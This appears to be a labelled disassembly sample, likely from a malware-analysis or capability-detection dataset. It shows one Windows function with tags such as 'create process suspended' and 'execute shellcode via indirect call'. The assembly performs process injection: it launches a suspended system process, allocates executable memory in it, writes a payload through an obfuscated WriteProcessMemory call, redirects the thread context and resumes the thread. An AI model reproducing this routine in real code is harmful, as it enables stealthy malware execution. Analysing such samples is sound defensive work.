Function at 0x140010b18
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Create process on windows
Create process suspended
Execute shellcode via indirect call
Get common file path
Resume thread

Disassembly:
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x6f0
mov rax, qword [0x1402b7130]
xor rax, rsp
mov qword [rsp + 0x6e0], rax
mov dword [rsp + 0x670], 0
lea rax, [rsp + 0x678]
mov rdi, rax
xor eax, eax
mov ecx, 0x60
rep stosb byte [rdi], al
mov qword [rsp + 0x60], 0
lea rax, [rsp + 0x68]
mov rdi, rax
xor eax, eax
mov ecx, 0x4c8
rep stosb byte [rdi], al
mov dword [rsp + 0x668], 0
mov r8d, 0x68
xor edx, edx
lea rcx, [rsp + 0x670]
call fcn.1401c2860
mov r8d, 0x18
xor edx, edx
mov rcx, qword [rsp + 0x710]
call fcn.1401c2860
mov r8d, 0x4d0
xor edx, edx
lea rcx, [rsp + 0x60]
call fcn.1401c2860
mov dword [rsp + 0x670], 0x68
mov dword [rsp + 0x6ac], 1
xor eax, eax
mov word [rsp + 0x6b0], ax
mov byte [rsp + 0x560], 0
lea rax, [rsp + 0x561]
mov rdi, rax
xor eax, eax
mov ecx, 0xfe
rep stosb byte [rdi], al
mov edx, 0xff
lea rcx, [rsp + 0x560]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov byte [rsp + 0x563], 0
mov byte [rsp + 0x540], 0x57
mov byte [rsp + 0x541], 0x72
mov byte [rsp + 0x542], 0x69
mov byte [rsp + 0x543], 0x74
mov byte [rsp + 0x544], 0x65
mov byte [rsp + 0x545], 0x50
mov byte [rsp + 0x546], 0x72
mov byte [rsp + 0x547], 0x6f
mov byte [rsp + 0x548], 0x63
mov byte [rsp + 0x549], 0x65
mov byte [rsp + 0x54a], 0x73
mov byte [rsp + 0x54b], 0x73
mov byte [rsp + 0x54c], 0x4d
mov byte [rsp + 0x54d], 0x65
mov byte [rsp + 0x54e], 0x6d
mov byte [rsp + 0x54f], 0x6f
mov byte [rsp + 0x550], 0x72
mov byte [rsp + 0x551], 0x79
mov byte [rsp + 0x552], 0
lea rcx, [0x1402018b0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea rdx, [rsp + 0x540]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x660], rax
mov rax, qword [rsp + 0x710]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x670]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x560]
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov dword [rsp + 0x668], eax
cmp dword [rsp + 0x668], 0
jne 0x140010d3f
xor eax, eax
jmp 0x14001115d
movsxd rax, dword [rsp + 0x708]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8, rax
xor edx, edx
mov rax, qword [rsp + 0x710]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x530], rax
cmp qword [rsp + 0x530], 0
jne 0x140010d85
xor eax, eax
jmp 0x14001115d
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
movsxd rax, dword [rsp + 0x708]
mov qword [rsp + 0x20], 0
mov r9, rax
mov r8, qword [rsp + 0x700]
mov rdx, qword [rsp + 0x530]
mov rax, qword [rsp + 0x710]
mov rcx, qword [rax]
call qword [rsp + 0x660]
test eax, eax
jne 0x140010f94
xor eax, eax
jmp 0x14001115d
mov dword [rsp + 0x538], 0
mov dword [rsp + 0x90], 0x10000b
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [rsp + 0x60]
mov rax, qword [rsp + 0x710]
mov rcx, qword [rax + 8]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov dword [rsp + 0x668], eax
cmp dword [rsp + 0x668], 0
jne 0x14001110a
xor eax, eax
jmp 0x14001115d
mov rax, qword [rsp + 0x530]
mov qword [rsp + 0x158], rax
lea rdx, [rsp + 0x60]
mov rax, qword [rsp + 0x710]
mov rcx, qword [rax + 8]
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
mov dword [rsp + 0x668], eax
cmp dword [rsp + 0x668], 0
jne 0x140011146
xor eax, eax
jmp 0x14001115d
mov rax, qword [rsp + 0x710]
mov rcx, qword [rax + 8]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, 1
mov rcx, qword [rsp + 0x6e0]
xor rcx, rsp
call fcn.1401c2d70
add rsp, 0x6f0
pop rdi
ret